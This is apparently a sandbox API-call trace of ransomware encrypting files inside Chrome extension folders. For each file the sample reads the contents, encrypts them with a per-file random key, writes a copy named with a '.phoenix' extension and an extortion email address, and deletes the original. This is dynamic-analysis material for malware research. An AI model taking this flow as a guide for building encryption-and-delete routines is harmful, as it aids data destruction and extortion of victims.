	[0261.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.952] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0261.952] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.952] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x115, lpOverlapped=0x0) returned 1
	[0261.953] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0261.953] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0261.954] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0261.954] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.954] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.954] CryptDestroyKey (hKey=0x151740) returned 1
	[0261.954] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.955] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.955] CloseHandle (hObject=0x310) returned 1
	[0261.955] CloseHandle (hObject=0x2c4) returned 1
	[0261.955] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json")) returned 1
	[0261.956] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.956] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.957] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=375) returned 1
	[0261.957] CloseHandle (hObject=0x2c4) returned 1
	[0261.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json")) returned 0x20
	[0261.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.957] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.957] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.957] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.957] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.958] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0261.958] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.958] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x177, lpOverlapped=0x0) returned 1
	[0261.960] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x180, dwBufLen=0x180 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x180) returned 1
	[0261.960] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x180, lpOverlapped=0x0) returned 1
	[0261.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.961] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.961] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.961] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.961] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.107] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.107] CloseHandle (hObject=0x2c4) returned 1
	[0262.107] CloseHandle (hObject=0x310) returned 1
	[0262.107] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ur\\messages.json")) returned 1
	[0262.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.109] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.109] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17492) returned 1
	[0262.109] CloseHandle (hObject=0x310) returned 1
	[0262.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json")) returned 0x20
	[0262.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.110] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.110] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.110] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0262.110] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.110] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4454, lpOverlapped=0x0) returned 1
	[0262.112] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4460, dwBufLen=0x4460 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4460) returned 1
	[0262.112] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4460, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4460, lpOverlapped=0x0) returned 1
	[0262.114] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0262.115] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.115] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0262.115] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.115] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0262.115] CryptDestroyKey (hKey=0x151200) returned 1
	[0262.115] CloseHandle (hObject=0x310) returned 1
	[0262.115] CloseHandle (hObject=0x2c4) returned 1
	[0262.115] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_metadata\\verified_contents.json")) returned 1
	[0262.116] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.117] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=177765) returned 1
	[0262.117] CloseHandle (hObject=0x2c4) returned 1
	[0262.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js")) returned 0x20
	[0262.117] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.118] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.118] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.118] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0262.118] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.118] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2b665, lpOverlapped=0x0) returned 1
	[0262.161] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b670, dwBufLen=0x2b670 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b670) returned 1
	[0262.161] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2b670, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2b670, lpOverlapped=0x0) returned 1
	[0262.165] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0262.165] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.165] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0262.165] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.165] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0262.165] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.165] CloseHandle (hObject=0x2c4) returned 1
	[0262.165] CloseHandle (hObject=0x310) returned 1
	[0262.165] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_background.js")) returned 1
	[0262.167] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.168] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=248516) returned 1
	[0262.168] CloseHandle (hObject=0x310) returned 1
	[0262.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js")) returned 0x20
	[0262.168] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.168] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.168] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.169] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.169] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.169] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0262.169] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.169] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3cac4, lpOverlapped=0x0) returned 1
	[0262.199] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3cad0, dwBufLen=0x3cad0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3cad0) returned 1
	[0262.200] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3cad0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3cad0, lpOverlapped=0x0) returned 1
	[0262.203] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0262.204] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.204] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.204] CryptDestroyKey (hKey=0x151300) returned 1
	[0262.204] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.204] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0262.204] CloseHandle (hObject=0x310) returned 1
	[0262.204] CloseHandle (hObject=0x2c4) returned 1
